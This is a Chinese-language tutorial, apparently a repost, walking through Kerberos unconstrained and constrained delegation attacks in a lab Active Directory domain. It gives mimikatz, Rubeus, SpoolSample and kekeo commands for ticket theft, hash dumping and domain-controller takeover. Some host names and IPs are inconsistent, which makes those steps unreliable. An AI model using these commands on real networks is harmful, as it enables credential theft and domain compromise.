委派攻击
目录
一、委派概述
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。在域内只有主机账号和服务账号才有委派属性。
主机账号:活动目录中的computers组内的计算机,也被称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如: SQLServer,MYSQL等。域用户通过注册SPN也能成为服务账号。
创建服务账号方式:- net user test123 Admin@123 /add /domain 创建一个普通用户
- setspn -U -A priv/test test123 注册为服务账号
复制代码 二、委派分类
1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
三、非约束委派域控主动访问控制域控
1、实验环境
机器位置机器IP机器名机器登录用户所属域委派配置域内域控制器192.168.142.10DC1candada\administratorcandada域控域内机器192.168142.31win10-1candada\dc1-cancandada非约束委派实验前提:控制了域内的一台机器win10-1,并且该机器的主机账号配置了非约束委派。
2、实验步骤
(1)使用Adfind查询域内非约束委派机器账号- AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
复制代码 (2)使用Adfind查询域内非约束委派的服务账号- AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
复制代码 (3)等待域控访问win10-2
(4)在win10-2机器导出内存中的票据- mimikatz sekurlsa::tickets /export
复制代码 (5)进行票据传递就可以获取域控的权限- mimikatz kerberos::ptt [0;80d194]-2-0-40e10000-Administrator@krbtgt-TEST.CANDADA.COM.kirbi
复制代码 (6)访问域控
(7)使用计划任务,服务,或者无文件的powershell上线
四、非约束委派域控被动访问控制域控
1、实验环境
机器位置机器IP机器名机器登录用户所属域委派配置域内域控制器192.168.142.10DC1candada\administratorcandada域控域内机器192.168142.31win10-1candada\dc1-cancandada非约束委派实验前提:控制了域内的一台机器win10-1,并且该机器的主机账号配置了非约束委派。
2、实验步骤
(1)首先利用Rubeus在win10-2上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器DC2的登录信息- Rubeus.exe monitor /interval:1 /filteruser:DC1$
复制代码- Rubeus.exe monitor /interval:1 /filteruser: DC1$ #加个空格效果不同
复制代码 (2)再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行- SpoolSample.exe DC2 win10-2
复制代码 (3)Rubeus导入票据,这里导入用户权限不同,后续的操作不同- Rubeus.exe ptt /ticket:票据
复制代码 (4)获取域内用户的hash- mimikatz lsadump::dcsync /all /csv
复制代码 (5)如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据
五、约束委派构造服务账户票据控制域控
1、实验环境
机器位置机器IP机器名机器登录用户所属域委派配置域内域控制器192.168.142.20DC2test\administratortest域控域内机器192.168142.32win10-2test\dc2-cantest非约束委派实验前提:
(1)服务账户设置了约束性委派
(2)已知服务账户的密码口令信息
2、实验步骤
(1)使用 adfind发现服务账号test设置了约束委派- AdFind.exe -b "DC=test,DC=candada,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
复制代码 (2)构造服务账户TGT的票据- kekeo.exe "tgt::ask /user:test /domain:test.candada.com /password:admin@123 /ticket:test.kirbi" "exit"
复制代码 (3)利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据- shell kekeo.exe "tgs::s4u /tgt:TGT_test@TEST.CANDADA.COM_krbtgt~test.candada.com@TEST.CANDADA.COM.kirbi /user:Administrator@test.candada.com /service:cifs/dc2.test.candada.com" "exit"
复制代码 (4)使用mimikatz将该票据注入当前的会话中- mimikatz kerberos::ptt TGS_Administrator@test.candada.com@TEST.CANDADA.COM_cifs~dc2.test.candada.com@TEST.CANDADA.COM.kirbi
复制代码 (5)访问域控
六、约束委派构造机器账户票据控制域控
1、实验环境
机器位置机器IP机器名机器登录用户所属域委派配置域内域控制器192.168.142.10DC1candada\administratorcandada域控域内机器192.168142.31win10-1candada\dc1-cancandada约束委派实验前提:我们已经控制了win10-1的电脑,发现该电脑配置了约束性委派,并且可以读取到该电脑的机器用户的NTLM哈希。
2、实验步骤
(1)查询约束性委派的机器用户- AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
复制代码 (2)查询约束性委派的服务用户- AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
复制代码 (3)使用mimikatz获取win10-1机器账户NTLM哈希- mimikatz sekurlsa::logonpasswords
复制代码 (4)使用kekeo申请配置了约束委派机器账户win10-1$的TGT- kekeo.exe "tgt::ask /user:win10-1$ /NTLM:a9197ef923b9205592cfdea8232c279c /domain:candada.com" "exit"
复制代码 (5)利用TGT通过伪造S4U请求以administrator身份访问win10-1的ST- shell kekeo.exe "tgs::s4u /tgt:TGT_win10-1$@CANDADA.COM_krbtgt~candada.com@CANDADA.COM.kirbi /user:Administrator@candada.com /service:cifs/dc1.candada.com" "exit"
复制代码 (6)使用mimkatz注入- mimikatz kerberos::ptt TGS_Administrator@candada.com@CANDADA.COM_cifs~dc1.candada.com@CANDADA.COM.kirbi
复制代码 (7)访问域控
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |